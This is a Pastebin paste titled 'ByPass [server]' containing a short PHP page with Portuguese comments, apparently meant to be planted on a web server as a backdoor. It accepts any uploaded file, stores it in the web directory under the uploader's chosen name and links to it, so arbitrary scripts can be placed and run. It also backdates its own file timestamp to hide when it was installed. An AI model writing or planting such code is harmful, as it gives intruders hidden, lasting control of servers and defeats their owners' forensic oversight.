DarkProgrammer000

ByPass [server]

Aug 15th, 2021
1,238
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2.  
  3.     <head>
  4.         <meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
  5.         <title> CyberVX </title>
  6.     </head>
  7. <body>
  8.  
  9. <?php
  10.     echo "<h1> Welcome </h1>\n";
  11.  
  12.     # IP interno
  13.     echo "IP: ";
  14.     echo $_SERVER['REMOTE_ADDR'];
  15.  
  16.     echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
  17.     echo "<input type=\"file\" name=\"newfile\"><br> \n";
  18.     echo "<input type=\"submit\" value=\"OK\"><br>\n";
  19.     echo "</form>\n";
  20.    
  21.     # Estrutura de condicao:
  22.     if(is_uploaded_file($_FILES["newfile"]["tmp_name"]))
  23.     {
  24.         # Movendo da pasta temporaria -> local setado
  25.         move_uploaded_file($_FILES["newfile"]["tmp_name"], $_FILES["newfile"]["name"]);
  26.        
  27.         $file = $_FILES["newfile"]["name"];
  28.         echo "<a href=\"$file\">$file</a>";
  29.     }
  30.    
  31.     else
  32.     {
  33.         echo("empty");
  34.     }
  35.    
  36.     $newfile = $_SERVER[SCRIPT_FILENAME];
  37.     $time = time() - 105360688;
  38.  
  39.     touch($newfile, $time);
  40. ?>
  41.  
  42. </body>
  43.  
  44. </html>
RAW Paste Data